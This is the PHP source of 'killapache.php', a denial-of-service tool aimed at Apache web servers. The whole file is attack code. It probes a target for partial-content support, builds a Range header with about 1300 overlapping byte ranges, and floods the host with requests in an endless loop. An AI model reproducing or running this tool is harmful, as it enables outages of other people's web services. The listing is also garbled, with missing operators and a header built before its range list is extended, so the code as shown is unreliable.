Source: killapache.phps - download
<?php
/* killapache.php
 * by daif alotaibi
 * daif55@gmail.com 
*/

echo "Welcome To Apachekiller.php By daif alotaibi (daif.net)\n";

if(
count($argv)<) {
    echo 
" Usage:   php -f killapache.php HOST PORT\n";
    echo 
" Example: php -f killapache.php daif.net 80\n\n";
    exit();
}

$host $argv[1];
$port = (isset($argv[2]))?$argv[2]:80;

$range  ="0-1";
$header "HEAD / HTTP/1.1\r\nHost: $host\r\nRange:bytes=$range\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";

$returnSendRequest($header);
if(
preg_match('/Partial/i'$return)){
    echo 
"Start ATTACKING: $host:$port\n";
    for(
$i=1;$i<=1300;$i++) {
        
$range .= ",5-$i";
    }
    
$counter 0;
    while(
true) {
        
$counter++;
        print 
"ATTACKING $counter\n";
        
SendRequest($header);
    }
} else {
    echo 
"You can't  attack: $host:$port\n";
}

function 
SendRequest($header) {
    global 
$host$port;
    
$fp fsockopen($host$port$errno$errstr5);
    if(
$fp) {
        
fwrite($fp$header);
        return(
fgets($fp,128));
    } else {
        echo 
"$errstr ($errno)\n";
    }
    return(
false);
}

?>